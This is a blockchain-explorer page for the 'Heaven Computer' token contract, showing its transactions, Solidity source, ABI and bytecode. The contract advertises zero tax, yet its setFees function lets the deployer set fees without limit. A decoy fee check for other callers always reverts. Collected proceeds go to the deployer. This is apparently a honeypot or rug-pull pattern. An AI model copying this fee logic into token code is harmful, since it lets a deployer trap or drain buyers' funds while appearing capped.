ETH Price: $2,139.05 (+3.70%)

Contract

0xDFcb4E0aA85Fdd417e685A838eC898fe28596F99
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve218277302025-02-12 3:22:59404 days ago1739330579IN
0xDFcb4E0a...e28596F99
0 ETH0.000031521.30368614
Approve172762112023-05-17 1:49:591042 days ago1684288199IN
0xDFcb4E0a...e28596F99
0 ETH0.0017698838.38648734
Approve172761912023-05-17 1:45:591042 days ago1684287959IN
0xDFcb4E0a...e28596F99
0 ETH0.0030205664.91517333
Approve172761902023-05-17 1:45:471042 days ago1684287947IN
0xDFcb4E0a...e28596F99
0 ETH0.0017847138.65773727
Approve172761872023-05-17 1:45:111042 days ago1684287911IN
0xDFcb4E0a...e28596F99
0 ETH0.0017781438.56571315
Approve172761862023-05-17 1:44:591042 days ago1684287899IN
0xDFcb4E0a...e28596F99
0 ETH0.0018479539.82050269
Approve172761862023-05-17 1:44:591042 days ago1684287899IN
0xDFcb4E0a...e28596F99
0 ETH0.0019412941.72050269
Approve172761832023-05-17 1:44:231042 days ago1684287863IN
0xDFcb4E0a...e28596F99
0 ETH0.0019254741.43738527
Approve172761812023-05-17 1:43:591042 days ago1684287839IN
0xDFcb4E0a...e28596F99
0 ETH0.0019038541.23852376
Approve172761812023-05-17 1:43:591042 days ago1684287839IN
0xDFcb4E0a...e28596F99
0 ETH0.0019162341.23852376
Approve172761772023-05-17 1:43:111042 days ago1684287791IN
0xDFcb4E0a...e28596F99
0 ETH0.001902340.9388893
Approve172761712023-05-17 1:41:591042 days ago1684287719IN
0xDFcb4E0a...e28596F99
0 ETH0.0020817344.80039415
Approve172761702023-05-17 1:41:471042 days ago1684287707IN
0xDFcb4E0a...e28596F99
0 ETH0.0020672244.48803475
Approve172761702023-05-17 1:41:471042 days ago1684287707IN
0xDFcb4E0a...e28596F99
0 ETH0.0020672244.48803475
Approve172761672023-05-17 1:41:111042 days ago1684287671IN
0xDFcb4E0a...e28596F99
0 ETH0.0019080741.38366184
Approve172761672023-05-17 1:41:111042 days ago1684287671IN
0xDFcb4E0a...e28596F99
0 ETH0.0020577244.28366184
Approve172761662023-05-17 1:40:591042 days ago1684287659IN
0xDFcb4E0a...e28596F99
0 ETH0.0020761644.68046788
Approve172761652023-05-17 1:40:471042 days ago1684287647IN
0xDFcb4E0a...e28596F99
0 ETH0.0021220545.6680392
Approve172761602023-05-17 1:39:471042 days ago1684287587IN
0xDFcb4E0a...e28596F99
0 ETH0.0019533142.3648386
Approve172761592023-05-17 1:39:351042 days ago1684287575IN
0xDFcb4E0a...e28596F99
0 ETH0.0020138943.34023747
Approve172761572023-05-17 1:39:111042 days ago1684287551IN
0xDFcb4E0a...e28596F99
0 ETH0.0019102341.10950596
Approve172761572023-05-17 1:39:111042 days ago1684287551IN
0xDFcb4E0a...e28596F99
0 ETH0.0019102341.10950596
Approve172761572023-05-17 1:39:111042 days ago1684287551IN
0xDFcb4E0a...e28596F99
0 ETH0.0019102341.10950596
Approve172761562023-05-17 1:38:591042 days ago1684287539IN
0xDFcb4E0a...e28596F99
0 ETH0.0019072541.04537287
Approve172761552023-05-17 1:38:471042 days ago1684287527IN
0xDFcb4E0a...e28596F99
0 ETH0.0019114341.13530992
View all transactions

Latest 4 internal transactions

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer172761752023-05-17 1:42:471042 days ago1684287767
0xDFcb4E0a...e28596F99
0.02358541 ETH
Transfer172761752023-05-17 1:42:471042 days ago1684287767
0xDFcb4E0a...e28596F99
0.02358541 ETH
Transfer172761722023-05-17 1:42:111042 days ago1684287731
0xDFcb4E0a...e28596F99
0.02219255 ETH
Transfer172761722023-05-17 1:42:111042 days ago1684287731
0xDFcb4E0a...e28596F99
0.02219255 ETH
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
HeavenComputer

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/**

Heaven Computer is a blockchain-based art platform that takes inspiration from glitch art, vaporwave, cyberpunk and early web nostalgia. Our website is best viewed with desktop devices.

100m $HVNCPR / 0 TAX

Telegram: https://t.me/HVNCPR_ERC20
Twitter: https://twitter.com/HVNCPR_ERC20
Website: https://heavencomputer.site

*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.18;

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

}
interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract HeavenComputer {
    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    string public constant name = "Heaven Computer";   
    string public constant symbol = "HVNCPR";   
    uint8 public constant decimals = 9;
    uint256 public constant totalSupply = 100_000_000 * 10**decimals;

    uint256 buyTax = 0;
    uint256 sellTax = 0;
    uint256 constant swapAmount = totalSupply / 1000;
    uint256 constant maxWallet = 100 * totalSupply / 100;

    bool tradingOpened = false;
    bool swapping;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    address immutable pair;
    address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
    address payable constant deployer = payable(address(0x8EB9b1C83c9716F3916865545D62461581001878));

    constructor() {
        pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), ETH);
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][routerAddress] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function approve(address spender, uint256 amount) external returns (bool){
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool){
        return _transfer(msg.sender, to, amount);
    }

    function transferFrom(address from, address to, uint256 amount) external returns (bool){
        allowance[from][msg.sender] -= amount;        
        return _transfer(from, to, amount);
    }

    function _transfer(address from, address to, uint256 amount) internal returns (bool){
        balanceOf[from] -= amount;

        if(from != deployer)
            require(tradingOpened);

        if(to != pair && to != deployer)
            require(balanceOf[to] + amount <= maxWallet);

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
            swapping = true;
            address[] memory path = new  address[](2);
            path[0] = address(this);
            path[1] = ETH;
            _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                swapAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
            deployer.transfer(address(this).balance);
            swapping = false;
        }

        if(from != address(this) && to != deployer){
            uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100;
            amount -= taxAmount;
            balanceOf[address(this)] += taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

    function openTrading() external {
        require(msg.sender == deployer);
        tradingOpened = true;
    }

    function setFees(uint256 newBuyTax, uint256 newSellTax) external {
        if(msg.sender == deployer){
            buyTax = newBuyTax;
            sellTax = newSellTax;
        }
        else{
            require(newBuyTax < 10);
            require(newSellTax < 10);
            revert();
        }
        
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBuyTax","type":"uint256"},{"internalType":"uint256","name":"newSellTax","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a0604052600060028190556003556004805460ff191690553480156200002557600080fd5b50737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000079573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200009f9190620001e8565b6040516364e329cb60e11b815230600482015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc260248201526001600160a01b03919091169063c9c65396906044016020604051808303816000875af115801562000102573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001289190620001e8565b6001600160a01b0316608052620001426009600a6200032f565b62000152906305f5e10062000340565b336000818152602081815260408083209490945530825260018152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182206000199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001c16009600a6200032f565b620001d1906305f5e10062000340565b60405190815260200160405180910390a36200035a565b600060208284031215620001fb57600080fd5b81516001600160a01b03811681146200021357600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002715781600019048211156200025557620002556200021a565b808516156200026357918102915b93841c939080029062000235565b509250929050565b6000826200028a5750600162000329565b81620002995750600062000329565b8160018114620002b25760028114620002bd57620002dd565b600191505062000329565b60ff841115620002d157620002d16200021a565b50506001821b62000329565b5060208310610133831016604e8410600b841016171562000302575081810a62000329565b6200030e838362000230565b80600019048211156200032557620003256200021a565b0290505b92915050565b60006200021360ff84168362000279565b80820281158282048414176200032957620003296200021a565b608051610c1b62000384600039600081816104450152818161050901526107620152610c1b6000f3fe6080604052600436106100a05760003560e01c8063313ce56711610064578063313ce5671461019257806370a08231146101b957806395d89b41146101e6578063a9059cbb14610218578063c9567bf914610238578063dd62ed3e1461024d57600080fd5b806306fdde03146100ac578063095ea7b3146100fd5780630b78f9c01461012d57806318160ddd1461014f57806323b872dd1461017257600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100e76040518060400160405280600f81526020016e2432b0bb32b71021b7b6b83aba32b960891b81525081565b6040516100f491906108b6565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610920565b610285565b60405190151581526020016100f4565b34801561013957600080fd5b5061014d61014836600461094a565b6102f2565b005b34801561015b57600080fd5b50610164610333565b6040519081526020016100f4565b34801561017e57600080fd5b5061011d61018d36600461096c565b610350565b34801561019e57600080fd5b506101a7600981565b60405160ff90911681526020016100f4565b3480156101c557600080fd5b506101646101d43660046109a8565b60006020819052908152604090205481565b3480156101f257600080fd5b506100e760405180604001604052806006815260200165242b2721a82960d11b81525081565b34801561022457600080fd5b5061011d610233366004610920565b61039e565b34801561024457600080fd5b5061014d6103b2565b34801561025957600080fd5b506101646102683660046109c3565b600160209081526000928352604080842090915290825290205481565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102e09086815260200190565b60405180910390a35060015b92915050565b738eb9b1c83c9716f3916865545d6246158100187719330161031957600291909155600355565b600a821061032657600080fd5b600a81106100a757600080fd5b61033f6009600a610af0565b61034d906305f5e100610aff565b81565b6001600160a01b0383166000908152600160209081526040808320338452909152812080548391908390610385908490610b16565b9091555061039690508484846103e1565b949350505050565b60006103ab3384846103e1565b9392505050565b33738eb9b1c83c9716f3916865545d62461581001878146103d257600080fd5b6004805460ff19166001179055565b6001600160a01b03831660009081526020819052604081208054839190839061040b908490610b16565b90915550506001600160a01b038416738eb9b1c83c9716f3916865545d62461581001878146104435760045460ff1661044357600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b0316141580156104a257506001600160a01b038316738eb9b1c83c9716f3916865545d6246158100187814155b156105075760646104b56009600a610af0565b6104c3906305f5e100610aff565b6104ce906064610aff565b6104d89190610b29565b6001600160a01b0384166000908152602081905260409020546104fc908490610b4b565b111561050757600080fd5b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316836001600160a01b03161480156105505750600454610100900460ff16155b801561059157506103e86105666009600a610af0565b610574906305f5e100610aff565b61057e9190610b29565b3060009081526020819052604090205410155b15610721576004805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106105da576105da610b5e565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061062257610622610b5e565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac9476103e86106636009600a610af0565b610671906305f5e100610aff565b61067b9190610b29565b60008430426040518663ffffffff1660e01b81526004016106a0959493929190610b74565b600060405180830381600087803b1580156106ba57600080fd5b505af11580156106ce573d6000803e3d6000fd5b5050604051738eb9b1c83c9716f3916865545d6246158100187892504780156108fc029250906000818181858888f19350505050158015610713573d6000803e3d6000fd5b50506004805461ff00191690555b6001600160a01b038416301480159061075757506001600160a01b038316738eb9b1c83c9716f3916865545d6246158100187814155b1561083057600060647f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316866001600160a01b0316146107a1576003546107a5565b6002545b6107af9085610aff565b6107b99190610b29565b90506107c58184610b16565b306000908152602081905260408120805492955083929091906107e9908490610b4b565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b6001600160a01b03831660009081526020819052604081208054849290610858908490610b4b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a491815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b818110156108e3578581018301518582016040015282016108c7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461091b57600080fd5b919050565b6000806040838503121561093357600080fd5b61093c83610904565b946020939093013593505050565b6000806040838503121561095d57600080fd5b50508035926020909101359150565b60008060006060848603121561098157600080fd5b61098a84610904565b925061099860208501610904565b9150604084013590509250925092565b6000602082840312156109ba57600080fd5b6103ab82610904565b600080604083850312156109d657600080fd5b6109df83610904565b91506109ed60208401610904565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610a47578160001904821115610a2d57610a2d6109f6565b80851615610a3a57918102915b93841c9390800290610a11565b509250929050565b600082610a5e575060016102ec565b81610a6b575060006102ec565b8160018114610a815760028114610a8b57610aa7565b60019150506102ec565b60ff841115610a9c57610a9c6109f6565b50506001821b6102ec565b5060208310610133831016604e8410600b8410161715610aca575081810a6102ec565b610ad48383610a0c565b8060001904821115610ae857610ae86109f6565b029392505050565b60006103ab60ff841683610a4f565b80820281158282048414176102ec576102ec6109f6565b818103818111156102ec576102ec6109f6565b600082610b4657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156102ec576102ec6109f6565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610bc45784516001600160a01b031683529383019391830191600101610b9f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122070f9b6dc64d0ff922be20e200c34aa3723bfb6be4dfc86754c54f18f867e44e064736f6c63430008120033

Deployed Bytecode

0x6080604052600436106100a05760003560e01c8063313ce56711610064578063313ce5671461019257806370a08231146101b957806395d89b41146101e6578063a9059cbb14610218578063c9567bf914610238578063dd62ed3e1461024d57600080fd5b806306fdde03146100ac578063095ea7b3146100fd5780630b78f9c01461012d57806318160ddd1461014f57806323b872dd1461017257600080fd5b366100a757005b600080fd5b3480156100b857600080fd5b506100e76040518060400160405280600f81526020016e2432b0bb32b71021b7b6b83aba32b960891b81525081565b6040516100f491906108b6565b60405180910390f35b34801561010957600080fd5b5061011d610118366004610920565b610285565b60405190151581526020016100f4565b34801561013957600080fd5b5061014d61014836600461094a565b6102f2565b005b34801561015b57600080fd5b50610164610333565b6040519081526020016100f4565b34801561017e57600080fd5b5061011d61018d36600461096c565b610350565b34801561019e57600080fd5b506101a7600981565b60405160ff90911681526020016100f4565b3480156101c557600080fd5b506101646101d43660046109a8565b60006020819052908152604090205481565b3480156101f257600080fd5b506100e760405180604001604052806006815260200165242b2721a82960d11b81525081565b34801561022457600080fd5b5061011d610233366004610920565b61039e565b34801561024457600080fd5b5061014d6103b2565b34801561025957600080fd5b506101646102683660046109c3565b600160209081526000928352604080842090915290825290205481565b3360008181526001602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906102e09086815260200190565b60405180910390a35060015b92915050565b738eb9b1c83c9716f3916865545d6246158100187719330161031957600291909155600355565b600a821061032657600080fd5b600a81106100a757600080fd5b61033f6009600a610af0565b61034d906305f5e100610aff565b81565b6001600160a01b0383166000908152600160209081526040808320338452909152812080548391908390610385908490610b16565b9091555061039690508484846103e1565b949350505050565b60006103ab3384846103e1565b9392505050565b33738eb9b1c83c9716f3916865545d62461581001878146103d257600080fd5b6004805460ff19166001179055565b6001600160a01b03831660009081526020819052604081208054839190839061040b908490610b16565b90915550506001600160a01b038416738eb9b1c83c9716f3916865545d62461581001878146104435760045460ff1661044357600080fd5b7f000000000000000000000000803f60aeaa3ebd94f131496220ba18811a0538736001600160a01b0316836001600160a01b0316141580156104a257506001600160a01b038316738eb9b1c83c9716f3916865545d6246158100187814155b156105075760646104b56009600a610af0565b6104c3906305f5e100610aff565b6104ce906064610aff565b6104d89190610b29565b6001600160a01b0384166000908152602081905260409020546104fc908490610b4b565b111561050757600080fd5b7f000000000000000000000000803f60aeaa3ebd94f131496220ba18811a0538736001600160a01b0316836001600160a01b03161480156105505750600454610100900460ff16155b801561059157506103e86105666009600a610af0565b610574906305f5e100610aff565b61057e9190610b29565b3060009081526020819052604090205410155b15610721576004805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106105da576105da610b5e565b60200260200101906001600160a01b031690816001600160a01b03168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc28160018151811061062257610622610b5e565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63791ac9476103e86106636009600a610af0565b610671906305f5e100610aff565b61067b9190610b29565b60008430426040518663ffffffff1660e01b81526004016106a0959493929190610b74565b600060405180830381600087803b1580156106ba57600080fd5b505af11580156106ce573d6000803e3d6000fd5b5050604051738eb9b1c83c9716f3916865545d6246158100187892504780156108fc029250906000818181858888f19350505050158015610713573d6000803e3d6000fd5b50506004805461ff00191690555b6001600160a01b038416301480159061075757506001600160a01b038316738eb9b1c83c9716f3916865545d6246158100187814155b1561083057600060647f000000000000000000000000803f60aeaa3ebd94f131496220ba18811a0538736001600160a01b0316866001600160a01b0316146107a1576003546107a5565b6002545b6107af9085610aff565b6107b99190610b29565b90506107c58184610b16565b306000908152602081905260408120805492955083929091906107e9908490610b4b565b909155505060405181815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3505b6001600160a01b03831660009081526020819052604081208054849290610858908490610b4b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108a491815260200190565b60405180910390a35060019392505050565b600060208083528351808285015260005b818110156108e3578581018301518582016040015282016108c7565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b038116811461091b57600080fd5b919050565b6000806040838503121561093357600080fd5b61093c83610904565b946020939093013593505050565b6000806040838503121561095d57600080fd5b50508035926020909101359150565b60008060006060848603121561098157600080fd5b61098a84610904565b925061099860208501610904565b9150604084013590509250925092565b6000602082840312156109ba57600080fd5b6103ab82610904565b600080604083850312156109d657600080fd5b6109df83610904565b91506109ed60208401610904565b90509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115610a47578160001904821115610a2d57610a2d6109f6565b80851615610a3a57918102915b93841c9390800290610a11565b509250929050565b600082610a5e575060016102ec565b81610a6b575060006102ec565b8160018114610a815760028114610a8b57610aa7565b60019150506102ec565b60ff841115610a9c57610a9c6109f6565b50506001821b6102ec565b5060208310610133831016604e8410600b8410161715610aca575081810a6102ec565b610ad48383610a0c565b8060001904821115610ae857610ae86109f6565b029392505050565b60006103ab60ff841683610a4f565b80820281158282048414176102ec576102ec6109f6565b818103818111156102ec576102ec6109f6565b600082610b4657634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156102ec576102ec6109f6565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015610bc45784516001600160a01b031683529383019391830191600101610b9f565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122070f9b6dc64d0ff922be20e200c34aa3723bfb6be4dfc86754c54f18f867e44e064736f6c63430008120033

Deployed Bytecode Sourcemap

868:3798:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1026:47;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1026:47:0;;;;;;;;;;;;:::i;:::-;;;;;;;;2394:206;;;;;;;;;;-1:-1:-1;2394:206:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;2394:206:0;1004:187:1;4338:325:0;;;;;;;;;;-1:-1:-1;4338:325:0;;;;;:::i;:::-;;:::i;:::-;;1174:64;;;;;;;;;;;;;:::i;:::-;;;1595:25:1;;;1583:2;1568:18;1174:64:0;1449:177:1;2744:196:0;;;;;;;;;;-1:-1:-1;2744:196:0;;;;;:::i;:::-;;:::i;1133:34::-;;;;;;;;;;;;1166:1;1133:34;;;;;2136:4:1;2124:17;;;2106:36;;2094:2;2079:18;1133:34:0;1964:184:1;899:45:0;;;;;;;;;;-1:-1:-1;899:45:0;;;;;:::i;:::-;;;;;;;;;;;;;;;1083:40;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;1083:40:0;;;;;2608:128;;;;;;;;;;-1:-1:-1;2608:128:0;;;;;:::i;:::-;;:::i;4217:113::-;;;;;;;;;;;;;:::i;951:66::-;;;;;;;;;;-1:-1:-1;951:66:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;2394:206;2488:10;2462:4;2478:21;;;:9;:21;;;;;;;;-1:-1:-1;;;;;2478:30:0;;;;;;;;;;:39;;;2533:37;2462:4;;2478:30;;2533:37;;;;2511:6;1595:25:1;;1583:2;1568:18;;1449:177;2533:37:0;;;;;;;;-1:-1:-1;2588:4:0;2394:206;;;;;:::o;4338:325::-;-1:-1:-1;;4417:10:0;:22;4414:232;;4455:6;:18;;;;4488:7;:20;4338:325::o;4414:232::-;4569:2;4557:9;:14;4549:23;;;;;;4608:2;4595:10;:15;4587:24;;;;;1174:64;1226:12;1166:1;1226:2;:12;:::i;:::-;1212:26;;:11;:26;:::i;:::-;1174:64;:::o;2744:196::-;-1:-1:-1;;;;;2842:15:0;;2826:4;2842:15;;;:9;:15;;;;;;;;2858:10;2842:27;;;;;;;:37;;2873:6;;2842:27;2826:4;;2842:37;;2873:6;;2842:37;:::i;:::-;;;;-1:-1:-1;2905:27:0;;-1:-1:-1;2915:4:0;2921:2;2925:6;2905:9;:27::i;:::-;2898:34;2744:196;-1:-1:-1;;;;2744:196:0:o;2608:128::-;2672:4;2695:33;2705:10;2717:2;2721:6;2695:9;:33::i;:::-;2688:40;2608:128;-1:-1:-1;;;2608:128:0:o;4217:113::-;4268:10;1989:42;4268:22;4260:31;;;;;;4302:13;:20;;-1:-1:-1;;4302:20:0;4318:4;4302:20;;;4217:113::o;2948:1261::-;-1:-1:-1;;;;;3043:15:0;;3027:4;3043:15;;;;;;;;;;:25;;3062:6;;3043:15;3027:4;;3043:25;;3062:6;;3043:25;:::i;:::-;;;;-1:-1:-1;;;;;;;3084:16:0;;1989:42;3084:16;3081:56;;3123:13;;;;3115:22;;;;;;3159:4;-1:-1:-1;;;;;3153:10:0;:2;-1:-1:-1;;;;;3153:10:0;;;:28;;;;-1:-1:-1;;;;;;3167:14:0;;1989:42;3167:14;;3153:28;3150:90;;;1402:3;1226:12;1166:1;1226:2;:12;:::i;:::-;1212:26;;:11;:26;:::i;:::-;1382:17;;:3;:17;:::i;:::-;:23;;;;:::i;:::-;-1:-1:-1;;;;;3204:13:0;;:9;:13;;;;;;;;;;;:22;;3220:6;;3204:22;:::i;:::-;:35;;3196:44;;;;;;3263:4;-1:-1:-1;;;;;3257:10:0;:2;-1:-1:-1;;;;;3257:10:0;;:23;;;;-1:-1:-1;3272:8:0;;;;;;;3271:9;3257:23;:65;;;;-1:-1:-1;1342:4:0;1226:12;1166:1;1226:2;:12;:::i;:::-;1212:26;;:11;:26;:::i;:::-;1328:18;;;;:::i;:::-;3302:4;3284:9;:24;;;;;;;;;;;:38;;3257:65;3253:555;;;3338:8;:15;;-1:-1:-1;;3338:15:0;;;;;3392:17;;;3407:1;3392:17;;;;;;;;-1:-1:-1;;3392:17:0;;;;;;;;;;-1:-1:-1;3392:17:0;3368:41;;3442:4;3424;3429:1;3424:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;3424:23:0;;;-1:-1:-1;;;;;3424:23:0;;;;;1719:42;3462:4;3467:1;3462:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;3462:13:0;;;:7;;;;;;;;;;;:13;1801:42;3490:67;1342:4;1226:12;1166:1;1226:2;:12;:::i;:::-;1212:26;;:11;:26;:::i;:::-;1328:18;;;;:::i;:::-;3605:1;3625:4;3656;3680:15;3490:220;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3725:40:0;;1989:42;;-1:-1:-1;3743:21:0;3725:40;;;;;-1:-1:-1;3743:21:0;3725:40;;;;3743:21;1989:42;3725:40;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;3780:8:0;:16;;-1:-1:-1;;3780:16:0;;;3253:555;-1:-1:-1;;;;;3823:21:0;;3839:4;3823:21;;;;:39;;-1:-1:-1;;;;;;3848:14:0;;1989:42;3848:14;;3823:39;3820:284;;;3878:17;3943:3;3916:4;-1:-1:-1;;;;;3908:12:0;:4;-1:-1:-1;;;;;3908:12:0;;:31;;3932:7;;3908:31;;;3923:6;;3908:31;3898:42;;:6;:42;:::i;:::-;:48;;;;:::i;:::-;3878:68;-1:-1:-1;3961:19:0;3878:68;3961:19;;:::i;:::-;4013:4;3995:9;:24;;;;;;;;;;:37;;3961:19;;-1:-1:-1;4023:9:0;;3995:24;;:9;:37;;4023:9;;3995:37;:::i;:::-;;;;-1:-1:-1;;4052:40:0;;1595:25:1;;;4075:4:0;;-1:-1:-1;;;;;4052:40:0;;;;;1583:2:1;1568:18;4052:40:0;;;;;;;3863:241;3820:284;-1:-1:-1;;;;;4114:13:0;;:9;:13;;;;;;;;;;:23;;4131:6;;4114:9;:23;;4131:6;;4114:23;:::i;:::-;;;;;;;;4168:2;-1:-1:-1;;;;;4153:26:0;4162:4;-1:-1:-1;;;;;4153:26:0;;4172:6;4153:26;;;;1595:25:1;;1583:2;1568:18;;1449:177;4153:26:0;;;;;;;;-1:-1:-1;4197:4:0;2948:1261;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2